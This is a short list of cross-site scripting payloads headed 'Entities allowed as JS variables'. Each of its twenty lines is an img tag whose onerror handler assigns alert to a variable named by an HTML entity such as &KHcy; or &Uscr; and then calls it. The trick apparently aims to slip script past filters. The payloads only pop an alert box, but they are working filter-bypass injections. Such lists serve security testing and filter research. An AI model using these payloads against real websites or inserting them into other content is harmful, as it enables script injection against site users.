Entities allowed as JS variables

<img src=data: onerror="&KHcy;=alert;&KHcy;('&#38;KHcy;')">

<img src=data: onerror="&Uscr;=alert;&Uscr;('&#38;Uscr;')">

<img src=data: onerror="&yopf;=alert;&yopf;('&#38;yopf;')">

<img src=data: onerror="&atilde;=alert;&atilde;('&#38;atilde;')">

<img src=data: onerror="&Uogon;=alert;&Uogon;('&#38;Uogon;')">

<img src=data: onerror="&Ncaron;=alert;&Ncaron;('&#38;Ncaron;')">

<img src=data: onerror="&popf;=alert;&popf;('&#38;popf;')">

<img src=data: onerror="&ecaron;=alert;&ecaron;('&#38;ecaron;')">

<img src=data: onerror="&Sacute;=alert;&Sacute;('&#38;Sacute;')">

<img src=data: onerror="&icirc;=alert;&icirc;('&#38;icirc;')">

<img src=data: onerror="&Gscr;=alert;&Gscr;('&#38;Gscr;')">

<img src=data: onerror="&gcirc;=alert;&gcirc;('&#38;gcirc;')">

<img src=data: onerror="&afr;=alert;&afr;('&#38;afr;')">

<img src=data: onerror="&bscr;=alert;&bscr;('&#38;bscr;')">

<img src=data: onerror="&lopf;=alert;&lopf;('&#38;lopf;')">

<img src=data: onerror="&lscr;=alert;&lscr;('&#38;lscr;')">

<img src=data: onerror="&dcy;=alert;&dcy;('&#38;dcy;')">

<img src=data: onerror="&Ucirc;=alert;&Ucirc;('&#38;Ucirc;')">

<img src=data: onerror="&njcy;=alert;&njcy;('&#38;njcy;')">

<img src=data: onerror="&pfr;=alert;&pfr;('&#38;pfr;')">